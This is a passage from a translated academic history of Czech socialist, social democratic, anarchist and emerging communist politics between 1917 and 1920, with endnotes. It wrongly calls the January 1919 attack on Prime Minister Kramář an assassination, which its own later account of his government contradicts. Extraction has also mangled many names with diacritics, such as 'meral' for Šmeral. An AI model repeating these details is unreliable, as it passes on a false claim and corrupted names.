In mid-November of 1917, the radical social democratic opposition did come with a demand for a merger with the National Socialist Party. However, V. Klofácˇ at this time still kept ties mainly with bourgeois parties. National socialists concentrated around Czech Democracy at the time started accusing the leadership of the Czechoslovak social democracy of not being sufficiently Czech, but "subjected to German and Jewish influences from Vienna and Berlin."24 It is no wonder that following such proclamations, not even the strongest nationalists in social democracy could support national socialists. Yet negotiations were still in progress, officially marked as private—attended by Bechyneˇ, Habrman, Klofácˇ, and Strˇíbrný. Following their return from prison at Christmas of 1917, a representative of the anarchist syndicalism, B. Vrbenský, also joined the negotiations. From January of 1918, Vrbenský cooperated with Modrácˇek in the Socialist Paper. At their conference held in Duchcov on February 3, 1918, the Federation of Czech Anarcho-Communists agreed to the merger with the National Socialist Party. The delegates commissioned to lead the negotiations were J. Kovárˇ, M. Kácha, J. tych, L. tychová, and B. Vrbenský.25
On the same day, the nationalist group, represented by Habrman and Bechyneˇ, was booed at the meeting of CˇSDSD provincial committees in Prague, while B. meral found himself in the limelight. meral, having left the leading positions in social democracy, leaned toward the left of the international socialist movement, represented mainly by the Bolshevik Party in Russia. Following the October (November) Revolution, in which the Bolsheviks took over the government, meral somewhat paradoxically became leader of the emerging Left stream within social democracy. He "proceeded in close contact with the left wing of the Austrian social democratic party, which had close ties with the leftist Spartacus movement in Germany. The objective of this stream was the Bolshevik revolution in both countries of power."26 meral considered the formation of an independent Czech (Czechoslovak) state useless, considering the international and "supranational" character of the Bolshevik movement. These views were clearly in direct contradiction to the views of the national wing of social democracy, let alone the position of the National Socialist Party.
On February 17, 1918, V. J. Klofácˇ presented conditions on which the national socialists were willing to enter the merger:
1. Class struggle to achieve a class-free socialist system of government.
2. New International of equal nations.
3. There is no evolution without revolution.
4. National state power only has the right of authority, a supervisory and regulatory role.
5. Class-based united trade unions.
6. United socialist organization, both political and professional.
7. An independent socialist state of the Czech nation.27
In social democracy, mainly Modrácˇek's opposition and also part of the nationalist leadership agreed with these conditions; however, the party's provincial conferences refused to accept them. On March 22, social democrats offered the national socialists the formation of a common political body, the Socialist Council, for the sake of joint preparations of the May 1 celebrations and a joint effort in the National Committee. On behalf of the national socialists, who were preparing for the congress, J. Strˇíbrný tentatively agreed.
The national socialists' Eighth Easter congress, held in late March and early April of 1918, was supposed to be the first in a series of steps leading to the integration of Czech left-wing politics into a united pro-Masaryk party. The common Czech Socialist Party, established at this congress, was, apart from the national socialists, also joined by members of the Federation of Czech Anarcho-Communists, Czech Democracy, the Volná Myšlenka (Free Thought) magazine, and part of the Progressive Party. The newly formed party also accepted a program drafted by E. Franke, based on the ideas by F. Modrácˇek. Among other things, this program included the demand for an independent state with a socialist form of government, the elimination of the wage payment plan and the transfer of all means of production to the ownership of the nation, which is to entrust trade unions with the production. Socialists demanded the establishment of a two-chamber parliament, which was to have not only legislative, but also executive power. Furthermore, the separation of church and state was to be carried out, the armed forces were to be dissolved and replaced with a militia system, and so on.28 At the same time, socialists declared their willingness to merge with the Social Democratic Party. A. Neˇmec from social democracy also attended the congress as a guest.
Following the failed joint action during the organization of the May 1 celebration, socialist parties agreed to form a common Bloc. Socialists were represented at this informal meeting by E. Franke and B. Vrbenský, the social democrats by F. Soukup and G. Habrman. Nonetheless, the nationalist wing of social democracy failed to gain sufficient support for the idea of a merger in their party. Representatives of both parties agreed on September 6 to at least form a coordinating body for the joint steps in the reorganized National Committee—the Socialist Council. The Council, for which each of the parties delegated nine representatives, even included B. meral. A definitive stop to the efforts to unite social democrats with the socialists was put by the congress of the Czechoslovak Trade Union Association, held between September 28 and October 1, 1918. The congress rejected the merger with the socialist trade union organization Czech Workers Community, that is, also the merger of the two political parties.
On October 14, the Socialist Council tried to intervene in the "tentative and cautious process of the National Committee and take radical action."29 In connection with the preparation of the general strike against the export of foodstuffs from the Czech lands, the Action Committee of the Socialist Council30 decided to stage a coup. According to the instructions issued by the Action Committee, the speakers at the demonstrations were to declare "our independence in the sense of a sovereign Czech republic. Emphasis was put on the execution of the principles of democracy in our state and the resolution of important socialist problems."31 Such a strike caused a fierce conflict among Czech parties. In the end, the bourgeois bloc thwarted the socialists' efforts and accused the Socialist Council of disloyalty to the National Committee. meral, accused of establishing a Bolshevik soviet, was forced to leave the highest echelons of politics, not only in the National Committee, but also in his own party. Following the plan's failure, the Socialist Council was subordinated to the National Committee.
Notes
1. The Czech provincial assembly had closed down the year before.
2. František Klátil, Republika nad stranami (Prague: Melantrich, 1992).
3. Otto Urban, Cˇeská spolecˇnost 1848–1918 (Prague: Svoboda, 1982), 586.
4. Urban, Cˇeská spolecˇnost, 597.
5. Urban, Cˇeská spolecˇnost, 599.
6. The Agrarian, Social Democratic, National Socialist, Young Czech and Old Czech, the People's Progressive, and three Catholic parties.
7. Urban, Cˇeská spolecˇnost, 606.
8. Klátil, Republika nad stranami, 119.
9. This position was harshly criticized by communist historiography. For example, R. Wohlgemuthová evaluates syndicalism as follows: "Syndicalism was part of the modern petit-bourgeois ideologies, which brought into the working-class movement concepts of the grossest practicism. It separated the working class from its political objectives and narrowed down the class struggle exclusively to economic pressure, especially the everyday struggle for partial social profit." Renata Wohlgemuthová, "Prˇíspeˇvek k deˇjinám Cˇeského anarchistického hnutí v letech 1900–1914" in Rozpravy Akademie veˇd, rocˇník 81, sešit 8., 12 (Prague: Academia, 1971), 54.
10. Jirˇí Tu˚ma, Na cesteˇ ke komunistické straneˇ (Liberec: Sverocˇeské nakladatelství, 1975), 14.
11. Evidence of this is, for example, the leadership's intention to hold the Second International's congress in Vienna in August of 1914.
12. Zdeneˇk Kárník, Socialisté na rozcestí. Habsburk, Masaryk Cˇi meral? (Prague: Karolinum, 1996).
13. On August 4, 1914, the German social democratic members of parliament, together with delegates of other parties, voted for war loans, the French social democrats entered the war cabinet, and so on.
14. Jan Galandauer, Od Hainfeldu ke vzniku Komunistické strany Cˇeskoslovenska (Prague: Svoboda, 1986), 273.
15. Kárník, Socialisté na rozcestí, 30.
16. It needs to be said that in comparison with other Czech parties, CˇSDSD was affected the least.
17. Czech writers' speech to Czech members of parliament at the Imperial Council of May 17, 1917. Václav Cˇada, Stratégia a taktika Komunistickej strany Cˇeskoslovenska v rokoch 1921–1938 (Bratislava: Pravda, 1982), 79.
18. Urban, Cˇeská spolecˇnost, 611–12.
19. Declaration of the General Congress of January 6, 1918. Cˇada, Stratégia a taktika Komunistickej strany Cˇeskoslovenska v rokoch, 79.
20. Veˇra Olivová, Cˇeskoslovenské deˇjiny 1914–1939 (Prague: Karolinum, 1993), 58.
21. The magazine was established by representatives of Maffia, particularly P. ámal.
22. Tu˚ma, Na cesteˇ ke komunistické straneˇ, 14–15.
23. Olivová, Cˇeskoslovenské deˇjiny 1914–1939, 55.
24. Kárník, Socialisté na rozcestí, 114.
25. Tu˚ma, Na cesteˇ ke komunistické straneˇ, 16.
26. Olivová, Cˇeskoslovenské deˇjiny 1914–1939, 55.
27. Klátil, Republika nad stranami, 117.
28. Program of the Czech Socialist Party, 1918. (Prague: O. Janácˇek).
29. Olivová, Cˇeskoslovenské deˇjiny 1914–1939, 62.
30. Comprised of E. Franke, J. Strˇíbrný, L. tychová, B. meral, R. Bechyneˇ, and J. Stivín.
31. Olivová, Cˇeskoslovenské deˇjiny 1914–1939, 62.
# Chapter 4
## The Czech and Slovak Left in the Period between the Establishment of the Sovereign Czechoslovak Republic and the First Parliamentary Elections
Arrival of the Left-Oriented Parties in Kramár˘'s Government of the All-National Coalition
The failed attempt to declare the independence of the Czech (Czechoslovak) socialist state on October 14, 1918, and the subsequent removal of the most radical figures from the Socialist Council, as mentioned in the previous chapter, was in fact the last common action of the two socialist parties. Although even after the proclamation of an independent Czechoslovakia the leadership of both political parties attempted a joint action, the development within the parties, the signs of which started to show already before October 28, 1918, accelerated after the establishment of the sovereign republic, which resulted in the gap between the two parties getting even bigger. On the official, especially the governmental level, socialists and social democrats declare unity as late as in November of 1918.
In mid-November of 1918, the played-out Socialist Council is replaced by the so-called Socialist Bloc, which "in its joint proclamation emphasized it wanted to build the republic in collaboration with all other parties."1 Both parties claim support for the politics of the all-national coalition and two days later send their representatives to the government of the Prime Minister Karel Kramárˇ. The social democratic members of the cabinet were F. Soukup as minister of justice, G. Habrman as minister of education and L. Winter as minister of social affairs; the socialists were represented by V. Klofácˇ as minister of national defense, J. Strˇíbrný as minister of post and telegraphs, and the anarchist B. Vrbenský was appointed minister of supply.
Despite the relatively conservative representation of parties and political figures in the cabinet, including the prime minister, in the first few months of its existence, the government practices very radical politics. "As one of only a handful of countries around the world, already in December of 1918, CˇSR (Czechoslovak Republic) passed a law introducing an eight-hour workday, implemented generous welfare for the unemployed and war veterans, and distrained estates."2 However, not even these radical and a few months previously totally unthinkable measures managed to calm down the disorderly crowds, struck by the postwar revolutionary wave, who demanded the transformation of the republic into a socialist, if not directly a Bolshevik nation.
Both socialist parties provided support for President T. G. Masaryk. The main supporting pillar of Masaryk's politics was the socialist party, in which he found common ground with J. Strˇíbrný. When Foreign Minister Beneš was deciding which political party to join, based on consultations with Masaryk, he chose the Czechoslovak Socialist Party. Social democracy, "not having its own professionally educated theoreticians, accepted . . . fully Masaryk's views, while emphasizing the need for evolutionary development."3 However, this trend was in contradiction with the Marxist program of revolution, which the party officially professed. Therefore, alongside the pro-Masaryk stream within social democracy, a left-oriented wing started to form, which stood against the existing establishment in Czechoslovakia and promoted the idea of a world revolution.
Situation in the Social Democratic Party
Development of the Bolshevik Platform in Czechoslovak
Social Democracy
The first noticeable presentation of a platform which identified itself with the vision of the spread of the Bolshevik revolution from Russia was the Twelfth congress of the Czechoslovak Social Democratic Workers' Party, held in Prague from December 27 to 30, 1918. It was at this congress, which among other things renamed the party Czechoslovak, that supporters of the Czechoslovak Communist Party in Russia, formed in May of 1918 by the pro-Bolshevik supporters of social democracy in Russia,4 officially presented themselves. The most significant representative of the Czech communists was Alois Munˇa.5 Apart from this stream, there also starts to be constituted the local communist platform, represented mainly by the Kladno organization. This group, whose unofficial spokesman is Antonín Zápotocký, castigates the party's participation in the government side by side with bourgeois parties and also rejects attempts at a merger with the socialist party. At the congress, Zápotocký comments on this issue: "It seems to me that the proposal for a merger comes late. It is not the idea of unity that captivates workers; there is yet another idea which surpasses it. It is the idea of a revolution which interests them more. The idea of the revolution of the proletariat, brought to us by the Russian Bolshevik comrades and which seizes our proletariat."6 At the congress, Zápotocký stood by meral, who was criticized for his actions in the Socialist Council.7
On the contrary, the negotiations on the possible merger were positively commented on, although only retroactively, by J. Hudec, a supporter of Modrácˇek's group in social democracy. In his opinion, "the congress discussed the merger of the socialist parties in Czechoslovakia, that is, the social democrats and the national (Czechoslovak) socialists, to whose unification the national socialists were inclined. This matter was of interest to the entire Czechoslovak working class and became the motto of the day in both parties. At the social democratic congress, the majority was in favor of the merger."8 Hudec does not directly state why the merger did not actually take place; however, the explanation is not hard to find. Even in his opinion, the December congress marks the end of the party's unity. Merger with crumbling social democracy would undoubtedly bring more problems than benefits to the socialists.
The congress also approved the party's short-term program, which among other things demanded the confiscation of estates, mines, and larger industrial plants, the taxation of war profits, the replacement of a regular military with a militia corps, and so on. Also approved was the presence of the social democratic ministers in Kramárˇ's government, which can be considered a success for the right wing. On the other hand, the Bolsheviks managed to make their way—although as a minority—into the inner circle of the party's executive committee: B. meral and J. Stivín held seats in the seven-member executive committee.
Only a few days later, the newly elected executive committee had to deal with the question of communists coming from Russia. Following the assassination of the prime minister, K. Kramárˇ, which took place on January 8, 1919, and which was supposedly carried out by a communist supporter, the executive committee discussed expelling members of the Czechoslovak Communist Party in Russia from social democracy. This measure was passed in a vote 25:20, which very much speaks about the division of power within the party. However, later communists from Russia became regular members of the party and as a result of their presence in the party lines, the revolutionary opposition within the party further crystallized and strengthened itself.9
In February of 1919, Bolsheviks disturb party discipline when under the editorial leadership of B. meral they start publishing a weekly outside the official party structures—Sociální demokrat (the Social Democrat). The first issue of the magazine, published with the motto Proletarians of All Countries, Unite, features an Introductory Word with the following statement: "To us, October 28 does not mean an end to the revolutionary development. We deem it necessary for the proletariat to drive the revolutionary development through the upper class and further through its goals. We welcome the establishment of the Czech Republic; however, our goal is not only a bourgeois democratic republic, but a socialist republic."10 The magazine, which apart from meral's work also publishes the works of Stivín, Zápotocký, Muna and others, strongly criticizes the participation of social democracy in the government, demands the dissolution of the Revolutionary National Assembly, and also criticizes Modrácˇek's non-Marxist group on the social democratic platform. Editors of the Sociální demokrat welcome with enthusiasm the establishment of the Third International11 at the Moscow congress of left-wing platforms in the socialist movement held on March 2 to 6 1919. On the other hand, they provide rather cold comments on the attempts of the former anarchists in the socialist party at cooperation (I will provide a more detailed description of these attempts later). According to J. Skalák, cooperation cannot be established with anarcho-communists, who want to eliminate any kind of authority and profess radical ideas of equality. "The consequence [of anarcho-communism] is not only social ownership of means of production, but an overall socialization of work results and their communal use according to the principle 'to each according to his need' and thus a more or less complete socialization of both one's private and family life."12 According to Skalák, these ideas have nothing in common with Bolshevik communism, especially because they renounce the teachings of the class struggle.
The establishment of the communist platform in the Social Democratic Party in late 1918 and early 1919 and its association with the Sociální demokrat magazine meant a serious—and as it later turned out, also irreversible—dissension in social democracy. The social democratic leadership was unable to effectively face the rise of the Left in the first half of 1919.
Departure of Modrácˇek's Group from the Social Democratic Party
Next to the emerging communist Left in the social democratic party, there also existed a reformist group around F. Modrácˇek, which started to form around the Socialistické listy (the Socialist Paper) as early as in the summer of 1917. Modrácˇek's journal—similarly as meral's Sociální demokrat—stood outside the official party structure. It has already been said that Modrácˇek rejected the Marxist theories of the dictatorship of the proletariat and the nationalization of the means of production, and opposed it with his own vision of cooperative socialism. His teachings, similar to the anarchist views of the Russian thinker A. Kropotkin, brought him closer to some radical groups in the socialist party. As has already been mentioned, E. Franke let himself be inspired by Modrácˇek's views while developing the program of the new socialist party, and the anarchists, who merged with the national socialists, also publicly supported Kropotkin's teachings.13 Modrácˇek and his views were in conflict not only with the social democratic leadership, but also with the emerging Left, which refused to accept the anarchist opinions that were in contradiction with the Bolshevik axioms.
From the very beginning of the existence of the social democratic Left faction, Modrácˇek attempted to push it outside the party lines. He proposed that the leadership expel the leftist supporters;14 however, he failed to gain the support of the moderate right-wing leadership, which feared the party would split. Furthermore, in their struggle against the Left, which was gaining strength, people around Bechyneˇ counted on the support of the Agrarian Party, particularly that of A. vehla, minister of the interior. In April of 1919, Modrácˇek and J. Hudec, another member of parliament, decided to leave the party and founded the Socialist Czechoslovak Workers' Party, which set out to promote the principles of cooperative socialism. Social Democracy, together with the help of other parties, stripped the two members of their mandate.
In 1920, Modrácˇek's party unsuccessfully participated in the first parliamentary elections,15 and following a definitive dissension within the Social Democratic Party and the establishment of the Communist Party of Czechoslovakia, it returned to social democracy. The ambitions the party had at the time of its formation, that is, to bring together dissatisfied members of social democracy and the Socialist Party, were unfulfilled, especially due to the quickly shifting views of these groups; I mean particularly the anarcho-communist group in the Czechoslovak Socialist Party.
Development within the
Czechoslovak Socialist Party
Just as in the social democratic party, in the Czechoslovak socialist party there were also differences of opinion shortly after the establishment of the independent Czechoslovakia. This trend can be found also in non-socialist parties—as most parties were formed as conglomerate organizations, especially in the period before the parliamentary elections in 1925, various factions splintered off. Especially the anarchist groups that joined the Socialist Party were dissatisfied with the share of power given to them by the party leadership, the majority of which consisted of members of the former national socialist party. Apart from the government seat held by B. Vrbenský (minister of supply), anarchists held only one parliamentary seat, occupied by S. K. Neumann.
Anarchists openly voiced their dissatisfaction with their positions in the party at their congress, held on February 1 and 2, 1919. The congress was organized without the knowledge of the Socialist Party's leaders, there was no mention of the congress in the Cˇerven (June) or Hornické listy (Miners Journal) magazines, which were associated with the anarchists. "The organizers even considered not inviting the party leaders; Vrbenský and Neumann faced strong criticism by the party leadership for their disloyal actions."16 Thirty-four delegates representing 4,600 supporters of the anarchist movement gathered at the congress. S. K. Neumann demanded that anarchists take over leadership of the Socialist Party and expressed the conviction that it is the anarchist groups that must drive the establishment of socialism, that is, cooperative socialism, in Czechoslovakia. In his opinion, "in neither Czech social democracy, nor the Czechoslovak Socialist Party are there any socialists except for Modrácˇek, and therefore the anarchists are called upon to build up Czech socialism."17
According to Minister Vrbenský, the anarchists agreed with the idea of merging with social democracy; however, they were skeptical of the inner developments in this party. In Vrbenský's words, "they are unwilling to unite with the opportunist wing of the party, led by meral."18 Vrbenský's statement that he agrees with the revolution in Russia "from Kerensky up to the Bolsheviks" undoubtedly alarmed the government parties. Both groups—the Prague group and the North-Bohemian group—let it be heard that they wished to remain in the Socialist Party, but at the same time they demanded their own press institution. Thus, as of the beginning of March, the Cˇerven magazine became, as its subtitle read, "a weekly for radical streams and cultural politics."19
The anarchists' positive attitude toward the Bolshevik revolution in Russia prevented any possibility of collaboration with Modrácˇek's group, which the anarchists considered their ally. It was Modrácˇek who most strongly criticized in social democracy the post-revolutionary conditions in Soviet Russia. On the other hand, the anarchists claimed that "socialist Russia is the cornerstone of a future socialist Europe."20 Neumann, Cˇerven's editor-in-chief, gradually shifted from the anarchist position (supporting Kropotkin's teachings of cooperative production) to Marxist-Leninist positions. This development can be seen in the contents of the Cˇerven magazine. Apart from the previously mentioned Kropotkin, the Cˇerven magazine publishes the Art Program of the Commissariat for People's Education, led by the People's Commissar, Lunacharsky,21 but also Lenin's treatise "Class Society and the State."22 In spite of its radicalization in this time period, we can also find articles in Cˇerven by other than left-oriented authors, for example, by Karel Cˇapek.
With regard to the topic of this publication, it is very important that Cˇerven is first to deal with questions of leftist culture and the cultural policies of left-wing parties. Apart from publishing informative articles on the cultural policy of the Bolshevik party, such as the above-mentioned Lunacharsky and others, Neumann also makes an attempt at his own approach to this issue. In July of 1919, an article entitled "Proletarian Culture" is published under the pen name "-n," in which the author ponders the relationship between the state's political system and culture. "Our culture is in essence directly as well as indirectly managed by the ruling class, although the majority of the cultural workers, especially the best of them, are proletarians." According to the author, the conditions for artistic work are set by the bourgeoisie, which hold the power. Therefore, in order for proletarian culture to be developed, it is necessary that the power be in the hands of the proletariat. "Our goal is socialist culture (the healthy results of the bourgeois culture shall merge with the results of value of the proletarian culture); proletarian culture is only a temporary means, just as proletarian politics or the so-called dictatorship of the proletariat can be the means to socialist freedom, equality and brotherhood."23
Neumann—who undoubtedly wrote the article—endorses the idea of proletarian art, yet he does not accept the class approach professed by the Bolshevik party. His approach is a sort of a transition between the anarchist views before WWI (see chapter 1) and communist views. Similarly as before the war, Neumann puts the greatest emphasis not on the class struggle and revolution, but on education and campaigning.
On the platform of the Cˇerven magazine, the first significant community of leftist artists is formed: the Socialist Council of Public Education Workers, established on July 6, 1919. Cˇerven publishes a proclamation, "To the Entire Productive Working Class in the Czechoslovak Republic," in which the Socialist Council is defined by its members as "for now a free community of several forces envious of the freedom of literary, artistic and scientific work, yet also determined to stand by the masses joining the march into the new world."24 The proclamation is signed by E. Ehrenstein, J. Fleischner, J. Hora, H. Malírˇová, F. Neˇmec, S. K. Neumann, I. Olbracht, H. Sonnenschein, A. Sova, F. rámek, and F. Werfel. The artists declare the will "to always be helpful wherever help may be needed in the struggle for a socialist republic, in its establishment and development."
Supporters of Neumann's stream at this time clearly distanced themselves from meral's wing in the social democratic party. The article entitled "Two Types of Communists" reads as follows: "Our socialist minority, led by the ideas of authoritarian communism, should understand that its terror could only lead to disasters prolonging people's ordeal, fratricidal struggle, or even the victory of the reaction. . . . Ideas of authoritarian communism cannot be applied in our state permanently. They are in contradiction to the Czech nature."25 On the contrary, people around Neumann at this time welcome the establishment of the Third International, which sets them apart from Vrbenský's group. Once again, differences appear and deepen between the Prague intellectual group and the anarchists from North Bohemia; however, both groups at this time remain part of the official structure of the Czechoslovak Socialist Party.
Deepening Dissension in Social Democracy, Formation of an Institutionalized Left Faction
Differences of opinion between the social democratic leadership and the Left faction, which were mentioned in the previous chapter, culminated in mid-1919 due to the positions of the two groups on several events which took place during this time. The first one was the formation of revolutionary epicenters near the Czechoslovak-Hungary border on March 21, 1919 and the Czechoslovak-Bavaria border on April 7, 1919. Especially the approach to the Hungarian revolution resulted in serious conflicts within social democracy.
As one of the parties in power, social democracy actively participated in the military campaign against Hungary, which involved Czechoslovak and Romanian armies as part of the Allied forces. Its left faction immediately established cooperation with the Kun regime. The cooperation was mediated by a group of Czech and Slovak Bolsheviks, who in Hungary organized the Bolshevik propaganda in Czechoslovakia. "Immediately following the establishment of the Hungarian Soviet Republic, the Red Newspaper starts to be published in Hungary as an institution of Slovak communists. This newspaper, together with leaflets published in Hungary, informed the public in Slovakia of the objectives of the revolutionary Hungarian power."26
The revolutionary tendencies were noticeably strengthened in connection with the counter-offensive of the Hungarian revolutionary forces, which was initiated on May 20, 1919. The breakthrough, which for a brief period of time meant the occupation of a major part of Slovakia, caused an outburst of dissatisfaction and revolutionary spirit all across Czechoslovakia. Between May 22 and May 27, the situation "led to large-scale, spontaneous protests, demonstrations against high prices and strikes, which in a number of locations grew into fierce hunger riots."27 In many places, the unrest led to the pillaging of stores. The riots were of an organized nature only in the Kladno region, which represented the strongest support for the left wing in the Social Democratic Party. While handling the critical situation, the government managed, thanks to the social democratic leadership, to avoid a harsh military intervention. Social democrats sent their confidants onto the streets, who "were marked with a red ribbon and used their trust among the working class to try to convince the demonstrators to disperse."28 The government also weakened the social democratic Left by arresting a number of its representatives and supporters.
The development was more critical in Slovakia, where under the patronage of the Hungarian revolutionary government, the Slovak Soviet Republic was proclaimed in Prešov on June 16, 1919. Prime Minister Antonín Janoušek, a Bolshevik from Kladno, was appointed prime minister of the government, made up of people's commissars, which was formed based on the inspiration of Soviet Russia and Hungary. This government adopted a number of socialization measures, such as a decree on the nationalization of banks, large estates, and factories with more than twenty employees. The ties with Janoušek were important also for the Kladno wing of the Bolshevik left in Bohemia, where especially A. Zápotocký and A. Munˇa "maintained direct contact with representatives of the Hungarian revolutionary government, particularly with Bela Kun himself."29 However, the existence of the pro-Hungarian Bolshevik republic in West Slovakia was soon terminated by the withdrawal of Hungarian armed forces from Slovakia in July of 1919.
Events connected with the revolutionary explosion and especially the views and actions of the Left put the Social Democratic Party in an unpleasant situation. The government party was discredited by a group which negotiated with the enemy. The party leaders therefore had no objections when representatives of the Left were arrested and faced trial. "The arrests were made on the grounds of contacts with Kun's government and its Czechoslovak emissary, Janoušek. . . . The situation in the party at the helm of state politics reached such proportions that prominent members were arrested for treason and for communicating with the enemy at the time of war between the Czechoslovak Republic and the Soviet Hungary,"30 J. Hudec complained a few years later after having left the party due to its inability to rid itself of the supporters of Bolshevism.
In spite of the strengthening dissension, both groups continued to be part of one and the same organization, under one leadership. In the press organ of the Left, the Sociální demokrat magazine, an article entitled "Unity of the Party, Unity of the Working Class" is published in early May of 1919, in which its author writes: "We could not split the party. We could not do this mainly for purely personal reasons. . . . We honestly love the party."31 The "right-wing" leadership did not consider dividing the party either and tried suppressing the Bolshevik faction by cooperating with the Agrarian Party.
Another event, which in mid-1919 significantly affected the inner development in the social democratic party, was the accession of Tusar's government of the red-and-green coalition, brought about by the results of the municipal elections in June of 1919.32 The elections, in which the socialist parties (not only the Czechoslovak Socialist Party, but also socialist parties of ethnic minorities) achieved a considerable success, caused an increase in the activity of the Bolshevik Left. The Left saw the establishment of Tusar's government as a better chance for the transformation of Czechoslovakia into a socialist state. Three days following the government's establishment, J. Stivín rejoices in the Sociální demokrat magazine that the anti-Soviet Kramárˇ government has fallen, and welcomes the new government dominated by socialists.33
Under the supervision of the Communist International, the positions of the Left soon reversed when it stood against Prime Minister V. Tusar, who was accused of tolerating anti-Soviet politics. On October 5, the Left presented the representatives of social democracy with a text called Proclamation of Party Tactics, in which it criticized the party's leadership. "In the area of political administration, social democratic ministers did not hesitate to sign special laws and collaborate in the persecution of their own comrades. . . . Considering the fact that a joint effort with the bourgeoisie weakens the inner position of the workers' representatives, strengthens the bourgeoisie in its resistance and leads to a compromise, by which the bourgeoisie tries to maintain its domination. . . . Social democratic representatives in the government were forced to take joint responsibility for such measures in both domestic and foreign politics, which could not be subjected to democratic and socialist criticism. In particular, it was the unconditional participation in the willful attack against the Hungarian Soviet Republic."34 The Left calls on the party leaders to leave the government and return to the "original, proven methods." At this time, the Left starts establishing works councils, which were to become its instruments in industrial plants. However, the Left failed to gain majority support at the two-day conference. In the Sociální demokrat magazine, J. Stivín summarized the results of the conference rather laconically: "Let us openly admit that the conference decided on further dichotomy, for the politics of the organization as both the government party and its opposition."35
At this time, the dissension between supporters of the Left and the social democratic leadership begins to deepen more noticeably. In November, the Sociální demokrat magazine enthusiastically welcomes the decision of the left wing of the German social democracy to enter the Comintern; less than two weeks later (December 7, 1919), the first independent conference of the Social democratic Left is held. In its keynote address, the Left labels itself as a temporary body within the party, formed in order to press, unlike the Right-oriented leadership, the teachings of Marx "in both the party's theory and practice." As its short-term goals, the Social democratic Left has set out to drive forward the socialization of production and the exchange of products. "Only the working class can make socialization happen, as it alone can achieve its own liberation. Therefore, the proletariat must be aware of the fact that a precondition to socialization is to take over power in the state." The Left also professes the untouchability of the principle of the dictatorship of the proletariat and in the end it endorses the politics of the Comintern: "We shall demand that the Czechoslovak Social Democratic Party, when it changes its current politics, become its member and take part in building another International."36 The keynote address was published only in the second half of January 1920 in the Sociální demokrat magazine.37
The Left faction, which in December of 1919 established itself as a stand-alone organization within the social democratic party, was not strong enough at this point to attempt to take over the party's leadership against the current leaders' resistance. When in January of 1920 the Left attempted to organize a general strike in the Kladno and Ostrava regions, only about 100,000 people took part.38 Both groups tried to suppress each other. The Right fought against the Left by collaborating with other political parties, while the Left gradually took over various positions in the party and asserted its influence in the established works councils. However, the decisive battle was to come at a more convenient time.
Prior to the parliamentary elections, which following the adoption of the Constitution of the Czechoslovak Republic on February 29, 1920, were set to take place on April 18 (House of Representatives) and April 22 (Senate), the Left presented its preelection manifesto, which in terms of its contents was a follow-up to the keynote address given at the constituent congress in December of 1919. The Left criticized the new constitution because it maintained the privilege of property ownership. "The privilege of private ownership, which after the world war weighs most heavily on the proletariat, was left untouched by the bourgeois constitution."39
Already before the elections, the Left declares that it will reject any other coalitions with other parties in the government. For the first time, the idea of dividing the party appears: "If there are concerns that the movement of the Left could threaten the party's unity, let it be known that it is not about dividing the movement, dividing the masses, but about splintering elements, which are closely connected with the bourgeois politicians and which have alienated themselves from the class and uncompromising proletarian politics. The movement and the social democratic party will not only not suffer by their departure, but it will gain in unity and integrity."40 The Left also stands up against members of the party's right wing taking over the party leadership, particularly the parliamentary group, and immediately after the elections demand an extraordinary congress of the party be held. With respect to the approaching elections, the Left drew all of its supporters' attention to the fact that "they, as organized members of the social democratic party, are obligated to play the role of the party's agitators and speakers and thus fulfill their duty in securing a successful election for their party."41
In the April elections, social democracy became the strongest political party in Czechoslovakia, having gained 37.4 percent of all votes. The election results of the other parties were as follows: the People's Party 16.4 percent, the Agrarian Party 14.2 percent, the Socialist Party 11.8 percent, and so on.42 A number of experts see this victory as an effective win for the Left faction;43 however, the distribution of power was in favor of the right wing: of a total number of forty-one social-democratic members of parliament in the first count, fifteen supported the Left, while the share of voice in the party's representation was even stronger—for example, the vote on whether to remain part of the red and green coalition on April 29, 1920, resulted in a 41:11 result. The elections were undoubtedly the last joint effort of the two streams.
Notes
1. Veˇra Olivová, Cˇeskoslovenské deˇjiny 1914–1939 (Prague: Karolinum, 1993), 76.
2. Antonín Klimek, Boj o Hrad (1918–1926) (Prague: Panevropa, 1996).
3. Olivová, Cˇeskoslovenské deˇjiny 1914–1939, 91.
4. The congress was held in Moscow on May 25 to 29, 1918.
5. In his work, A. Klimek uses the last name Munˇa; however, he does so without referring to the source of the information. Klimek, Boj o Hrad (1918–1926), 26.
6. Protokol XII. Rˇádného sjezdu Cˇeskoslovenské sociálneˇ demokratické strany deˇlnické, konaného ve dnech 27., 28., 29. a 30. XII. 1918 v Reprezentacˇním domeˇ v Praze (Prague: Ústrˇední deˇlnické knihkupectví a nakladatelství, 1919), 19.
7. As a form of protest against social democracy joining the government, meral gave up his mandate in parliament as well as his position on the editorial board of the Right of the People.
8. Jan Hudec, Bolševism v Cˇeskoslovenské republice (Prague: Národní odbor Cˇeskoslovenský Mezinárodní dohody proti III. internacionále, 1927), 4.
9. Olivová, Cˇeskoslovenské deˇjiny 1914–1939, 91.
10. Sociální demokrat, 28 February 1919, 1.
11. Further in the text, other names are also used to refer to this institution, for example, the Communist International or the Comintern.
12. Sociální demokrat, 11 April 1919, 5.
13. S. K. Neumann published some of Kropotkin's views in the Cˇerven magazine as early as in March of 1919.
14. Hudec, Bolševism v Cˇeskoslovenské republice, 9.
15. A. Klimek states that, among others, President Masaryk gave it his vote. Klimek, Boj o Hrad (1918–1926), 44.
16. Jirˇí Tu˚ma, Na cesteˇ ke komunistické straneˇ (Liberec: Sverocˇeské nakladatelství, 1975), 23.
17. Tu˚ma, Na cesteˇ ke komunistické straneˇ, 24.
18. Tu˚ma, Na cesteˇ ke komunistické straneˇ, 26.
19. Tu˚ma, Na cesteˇ ke komunistické straneˇ, 26.
20. "Ucˇme se v Rusku," Cˇerven, 20 March 1919, 26. English translation: Let Us Learn in Russia.
21. Cˇerven 2, no. 4 (27 March 1919).
22. Cˇerven 2, no. 13 (29 May 1919).
23. Cˇerven, 3 July 1919, 163.
24. Cˇerven, 10 July 1919, 1.
25. Cˇerven, 20 March 1919.
26. Olivová, Cˇeskoslovenské deˇjiny 1914–1939, 104.
27. Olivová, Cˇeskoslovenské deˇjiny 1914–1939, 106.
28. Olivová, Cˇeskoslovenské deˇjiny 1914–1939, 107.
29. Olivová, Cˇeskoslovenské deˇjiny 1914–1939, 105.
30. Hudec, Bolševism v Cˇeskoslovenské republice, 5.
31. Sociální demokrat 1, no. 10, 1.
